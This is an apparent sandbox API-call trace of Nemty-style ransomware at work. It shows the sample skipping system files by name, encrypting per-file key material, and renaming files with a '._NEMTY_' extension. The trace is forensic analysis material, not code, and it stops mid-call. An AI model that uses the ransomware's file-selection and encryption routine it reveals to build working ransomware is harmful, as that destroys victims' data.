[0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="...") returned 1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="windows") returned -1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="$RECYCLE.BIN") returned 1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="rsa") returned -1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="NTDETECT.COM") returned -1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="ntldr") returned -1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="MSDOS.SYS") returned -1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="IO.SYS") returned -1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="boot.ini") returned 1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="boot.ini") returned 1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="AUTOEXEC.BAT") returned 1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="ntuser.dat") returned -1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="desktop.ini") returned -1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="CONFIG.SYS") returned -1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="RECYCLER") returned -1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="BOOTSECT.BAK") returned 1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="bootmgr") returned 1 [0093.257] lstrcmpiW (lpString1="btn-next-static.png", lpString2="programdata") returned -1 [0093.257] lstrcmpiW (lpString1="btn-next-static.png", lpString2="appdata") returned 1 [0093.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0093.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-next-static.png", lpUsedDefaultChar=0x0) returned 19 [0093.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0093.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0093.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-next-static.png", lpUsedDefaultChar=0x0) returned 19 [0093.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0093.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0093.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-next-static.png", lpUsedDefaultChar=0x0) returned 19 [0093.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0093.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0093.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-next-static.png", lpUsedDefaultChar=0x0) returned 19 [0093.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0093.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0093.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0093.257] Sleep (dwMilliseconds=0x5) [0093.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb3d81d0, dwHighDateTime=0x1d561e7)) [0093.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb3d81d0, dwHighDateTime=0x1d561e7)) [0093.276] GetLastError () returned 0x5 [0093.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0093.277] GetLastError () returned 0x5 [0093.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0093.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0093.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0093.277] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0093.277] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0093.277] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0093.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0093.277] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="q7n9k/3B3/Y2H2H4glxATOWIwBS/6UWgyTDPExSzlTpEGkpqgAancZonBkW2HOJZ\r\nvRxt4s/ZwcTflJRDvoHE+ZYpDnpbZXX/N+cLnoTEascuY9kz3eoqID5tyAU0ZOZ9\r\nyq63/o4vZYAtoTqRpxSqYnjJ0Q000LKfPWAF7WNXwRSZ4Wxi7E/rJPlhnWAmcnll\r\nqi88geUaq8l6Rmsdtnz7n2p8KOQHNXOxZZp+he2HqVAG2Lk7E7bVgQp43i4Sj8Qr\r\nXi87RuOwt/wNE3S0nKziqEQ8xI/nTl1+i5AZyCtqpElhj7Iu51XrMhSMQoPQBKF9\r\nQdDSTqm+zQzL2dSxlFvelA==\r\n", pcchString=0x653e91c) returned 1 [0093.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0093.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0093.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0093.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0093.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0093.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0093.277] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.279] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0093.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0093.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.289] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.299] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.309] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.309] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.318] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.328] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.328] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.337] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.346] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.356] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.356] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.375] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.375] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.387] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.387] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0093.387] CloseHandle (hObject=0xffffffff) returned 0 [0093.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0093.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0093.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0093.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0093.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0093.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0093.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0093.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0093.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0093.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0093.388] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png._nemty_kgobjgd_")) returned 0 [0093.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0093.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0093.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0093.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0093.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0093.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0093.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0093.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0093.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0093.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.388] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0093.388] lstrcmpiW (lpString1="btn-previous-static.png", lpString2=".") returned 1 [0093.388] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="..") returned 1 [0093.388] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="...") returned 1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="windows") returned -1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="$RECYCLE.BIN") returned 1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="rsa") returned -1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="NTDETECT.COM") returned -1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="ntldr") returned -1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="MSDOS.SYS") returned -1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="IO.SYS") returned -1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="boot.ini") returned 1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="boot.ini") returned 1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="AUTOEXEC.BAT") returned 1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="ntuser.dat") returned -1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="desktop.ini") returned -1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="CONFIG.SYS") returned -1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="RECYCLER") returned -1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="BOOTSECT.BAK") returned 1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="bootmgr") returned 1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="programdata") returned -1 [0093.389] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="appdata") returned 1 [0093.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0093.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-previous-static.png", lpUsedDefaultChar=0x0) returned 23 [0093.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0093.389] WideCharToMultiByte (in: CodePage=0xfde9, 